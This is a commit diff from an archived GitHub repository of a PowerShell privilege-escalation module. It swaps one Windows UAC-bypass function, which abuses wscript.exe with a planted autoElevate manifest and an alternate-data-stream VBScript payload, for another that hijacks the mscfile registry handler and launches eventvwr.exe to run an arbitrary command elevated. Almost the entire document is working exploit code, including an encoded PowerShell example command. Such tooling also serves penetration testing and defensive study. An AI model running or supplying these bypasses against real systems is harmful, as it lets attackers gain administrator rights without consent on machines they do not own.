Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 94438ed

Browse files
committed
Replaced Invoke-WScriptUACBypass with @enigma0x3's Invoke-EventVwrBypass function
1 parent 1118f53 commit 94438ed

File tree

2 files changed

+56
-204
lines changed

2 files changed

+56
-204
lines changed

Privesc/PowerUp.ps1

Lines changed: 55 additions & 203 deletions
Original file line numberDiff line numberDiff line change
@@ -4568,238 +4568,90 @@ PowerUp.UserAddMSI
45684568
}
45694569

45704570

4571-
function Invoke-WScriptUACBypass {
4571+
function Invoke-EventVwrBypass {
45724572
<#
45734573
.SYNOPSIS
45744574

4575-
Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe.
4575+
Bypasses UAC by performing an image hijack on the .msc file extension
4576+
Only tested on Windows 7 and Windows 10
45764577

4577-
Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie
4578+
Author: Matt Nelson (@enigma0x3)
45784579
License: BSD 3-Clause
4579-
Required Dependencies: None
4580-
4581-
.DESCRIPTION
4582-
4583-
Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute
4584-
VBScript using the wscript executable with the new manifest. The VBScript executed by
4585-
C:\Windows\wscript.exe will run elevated.
4580+
Required Dependencies: None
45864581

45874582
.PARAMETER Command
45884583

4589-
The shell command you want wscript.exe to run elevated.
4590-
4591-
.PARAMETER WindowStyle
4592-
4593-
Whether to display or hide the window for the executed '-Command X'.
4594-
Accepted values are 'Hidden' and 'Normal'/'Visible. Default is 'Hidden'.
4584+
Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
45954585

45964586
.EXAMPLE
45974587

4598-
Invoke-WScriptUACBypass -Command "powershell.exe -ep Bypass -WindowStyle Hidden -enc <base64>"
4588+
Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA="
45994589

4600-
Launches the specified PowerShell encoded command in high-integrity.
4601-
4602-
.EXAMPLE
4603-
4604-
Invoke-WScriptUACBypass -Command cmd.exe -WindowStyle 'Visible'
4605-
4606-
Spawns a high integrity cmd.exe.
4607-
4608-
.LINK
4609-
4610-
http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html
4611-
https://github.com/Vozzie/uacscript
4612-
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1
4590+
This will write out "Is Elevated: True" to C:\UACBypassTest.
46134591
#>
46144592

4615-
[CmdletBinding()]
4616-
Param(
4617-
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
4618-
[Alias('CMD')]
4619-
[String]
4593+
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
4594+
Param (
4595+
[Parameter(Mandatory = $True)]
46204596
[ValidateNotNullOrEmpty()]
4597+
[String]
46214598
$Command,
46224599

4623-
[String]
4624-
[ValidateSet('Hidden', 'Normal', 'Visible')]
4625-
$WindowStyle = 'Hidden'
4600+
[Switch]
4601+
$Force
46264602
)
4603+
$ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
4604+
$SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop
46274605

4628-
function Local:Get-TempFileName {
4629-
# generate temporary file Name
4630-
$sTempFolder = $env:Temp
4631-
$sTempFolder = $sTempFolder + '\'
4632-
$sTempFileName = [System.IO.Path]::GetRandomFileName() + '.tmp'
4633-
$sTempFileName = $sTempFileName -Split '\.',([regex]::matches($sTempFileName, '\.').count) -join ''
4634-
$sTempFileNameFinal = $sTempFolder + $sTempFileName
4635-
return $sTempFileNameFinal
4636-
}
4637-
4638-
function Local:Invoke-CopyFile {
4639-
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4640-
Param(
4641-
[String]
4642-
$sSource,
4643-
4644-
[String]
4645-
$sTarget
4646-
)
4647-
4648-
# cab wscript, send to temp and then extract it from temp to $env:WINDIR
4649-
$sTempFile = Get-TempFileName
4650-
Start-Process -WindowStyle Hidden -FilePath "$($env:WINDIR)\System32\makecab.exe" -ArgumentList "$sSource $sTempFile"
4651-
$Null = wusa "$sTempFile" /extract:"$sTarget" /quiet
4652-
4653-
Start-Sleep -Seconds 2
4654-
Remove-Item -Path $sTempFile -Force
4606+
if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
4607+
"UAC is set to 'Always Notify'. This module does not bypass this setting."
4608+
exit
46554609
}
4656-
4657-
function Local:Invoke-WscriptTrigger {
4658-
$VBSfileName = [System.IO.Path]::GetRandomFileName() + '.vbs'
4659-
$ADSFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,"\.").count) -join ''
4660-
4661-
$VBSPayload = "Dim objShell:"
4662-
$VBSPayload += "Dim oFso:"
4663-
$VBSPayload += "Set oFso = CreateObject(""Scripting.FileSystemObject""):"
4664-
$VBSPayload += "Set objShell = WScript.CreateObject(""WScript.Shell""):"
4665-
$VBSPayload += "command = ""$Command"":"
4666-
4667-
if ($WindowStyle -eq 'Hidden') {
4668-
$VBSPayload += "objShell.Run command, 0:"
4669-
}
4670-
else {
4671-
$VBSPayload += "objShell.Run command, 1:"
4610+
else{
4611+
#Begin Execution
4612+
$mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
4613+
$Command = $pshome + '\' + $Command
4614+
#Add in the new registry entries to hijack the msc file
4615+
if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
4616+
New-Item $mscCommandPath -Force |
4617+
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
4618+
}else{
4619+
Write-Warning "Key already exists, consider using -Force"
4620+
exit
46724621
}
46734622

4674-
# stupid command to kick off a background cmd process to delete the wscript and manifest
4675-
$DelCommand = "$($env:WINDIR)\System32\cmd.exe /c """"start /b """""""" cmd /c """"timeout /t 5 >nul&&del $($env:WINDIR)\wscript.exe&&del $($env:WINDIR)\wscript.exe.manifest"""""""""
4676-
$VBSPayload += "command = ""$DelCommand"":"
4677-
$VBSPayload += "objShell.Run command, 0:"
4678-
$VBSPayload += "Set objShell = Nothing"
4679-
4680-
Write-Verbose "[*] Storing VBS payload into `"$env:USERPROFILE\AppData:$ADSFile`""
4681-
$CreateWrapperADS = {cmd /C "echo $VBSPayload > ""$env:USERPROFILE\AppData:$ADSFile"""}
4682-
Invoke-Command -ScriptBlock $CreateWrapperADS
4683-
4684-
Write-Verbose "[*] Executing VBS payload with modified scripting host"
4685-
$ExecuteScript = {cmd /C "$($env:WINDIR)\wscript.exe ""$env:USERPROFILE\AppData:$ADSFile"""}
4686-
Invoke-Command -ScriptBlock $ExecuteScript
4687-
4688-
Write-Verbose "[*] Removing Alternate Data Stream from $("$env:USERPROFILE\AppData:$ADSFile")"
4689-
Remove-ADS $env:USERPROFILE\AppData:$ADSFile
4690-
}
4691-
4692-
function Local:Invoke-WscriptElevate {
4693-
4694-
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4695-
Param()
4696-
4697-
$WscriptManifest =
4698-
@"
4699-
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
4700-
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
4701-
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
4702-
manifestVersion="1.0">
4703-
<asmv3:trustInfo>
4704-
<security>
4705-
<requestedPrivileges>
4706-
<requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/>
4707-
</requestedPrivileges>
4708-
</security>
4709-
</asmv3:trustInfo>
4710-
<asmv3:application>
4711-
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
4712-
<autoElevate>true</autoElevate>
4713-
<dpiAware>true</dpiAware>
4714-
</asmv3:windowsSettings>
4715-
</asmv3:application>
4716-
</assembly>
4717-
"@
4718-
4719-
# Copy and apply manifest to wscript.exe
4720-
$sManifest = $env:Temp + "\wscript.exe.manifest"
4721-
$WscriptManifest | Out-File $sManifest -Encoding UTF8
4722-
4723-
Write-Verbose "[*] Cabbing and extracting manifest into $($env:WINDIR)"
4724-
Invoke-CopyFile $sManifest $env:WINDIR
4725-
4726-
Write-Verbose "[*] Cabbing and extracting wscript.exe into $($env:WINDIR)"
4727-
$WScriptPath = "$($env:WINDIR)\System32\wscript.exe"
4728-
Invoke-CopyFile $WScriptPath $env:WINDIR
4729-
Remove-Item -Force $sManifest
4730-
4731-
Invoke-WscriptTrigger
4732-
}
4733-
4734-
function Local:Remove-ADS {
4735-
<#
4736-
.SYNOPSIS
4737-
Removes an alterate data stream from a specified location.
4738-
P/Invoke code adapted from PowerSploit's Mayhem.psm1 module.
4623+
if (Test-Path $mscCommandPath) {
4624+
Write-Verbose "Created registry entries to hijack the msc extension"
4625+
}else{
4626+
Write-Warning "Failed to create registry key, exiting"
4627+
exit
4628+
}
47394629

4740-
Author: @harmj0y, @mattifestation
4741-
License: BSD 3-Clause
4630+
$EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
4631+
#Start Event Viewer
4632+
if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
4633+
$Process = Start-Process -FilePath $EventvwrPath -PassThru
4634+
Write-Verbose "Started eventvwr.exe"
4635+
}
47424636

4743-
.LINK
4744-
https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
4745-
#>
4637+
#Sleep 5 seconds
4638+
Write-Verbose "Sleeping 5 seconds to trigger payload"
4639+
if (-not $PSBoundParameters['WhatIf']) {
4640+
Start-Sleep -Seconds 5
4641+
}
47464642

4747-
[CmdletBinding()]
4748-
Param(
4749-
[Parameter(Mandatory = $True)]
4750-
[String]
4751-
$ADSPath
4752-
)
4643+
$mscfilePath = "HKCU:\Software\Classes\mscfile"
47534644

4754-
#region define P/Invoke types dynamically
4755-
# stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
4756-
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
4757-
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
4758-
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
4759-
4760-
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
4761-
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
4762-
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
4763-
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
4764-
@('kernel32.dll'),
4765-
[Reflection.FieldInfo[]]@($SetLastError),
4766-
@($True))
4767-
4768-
# Define [Win32.Kernel32]::DeleteFile
4769-
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteFile',
4770-
'kernel32.dll',
4771-
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
4772-
[Reflection.CallingConventions]::Standard,
4773-
[Bool],
4774-
[Type[]]@([String]),
4775-
[Runtime.InteropServices.CallingConvention]::Winapi,
4776-
[Runtime.InteropServices.CharSet]::Ansi)
4777-
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
4778-
4779-
$Kernel32 = $TypeBuilder.CreateType()
4780-
4781-
$Result = $Kernel32::DeleteFile($ADSPath)
4782-
4783-
if ($Result) {
4784-
Write-Verbose "Alternate Data Stream at $ADSPath successfully removed."
4785-
}
4786-
else {
4787-
Write-Verbose "Alternate Data Stream at $ADSPath removal failure!"
4645+
if (Test-Path $mscfilePath) {
4646+
#Remove the registry entry
4647+
Remove-Item $mscfilePath -Recurse -Force
4648+
Write-Verbose "Removed registry entries"
47884649
}
4789-
}
47904650

4791-
# make sure we are running on vulnerable windows version (vista,7)
4792-
$OSVersion = [Environment]::OSVersion.Version
4793-
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) {
4794-
if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') -eq $True){
4795-
Write-Warning '[!] You are already elevated!'
4651+
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
4652+
Stop-Process -Id $Process.Id
4653+
Write-Verbose "Killed running eventvwr process"
47964654
}
4797-
else {
4798-
Invoke-WscriptElevate
4799-
}
4800-
}
4801-
else {
4802-
Write-Warning '[!] Target machine is not vulnerable.'
48034655
}
48044656
}
48054657

Privesc/Privesc.psd1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,7 @@ FunctionsToExport = @(
5151
'Get-SiteListPassword',
5252
'Get-CachedGPPPassword',
5353
'Write-UserAddMSI',
54-
'Invoke-WScriptUACBypass',
54+
'Invoke-EventVwrBypass',
5555
'Invoke-PrivescAudit',
5656
'Get-System'
5757
)

0 commit comments

Comments
 (0)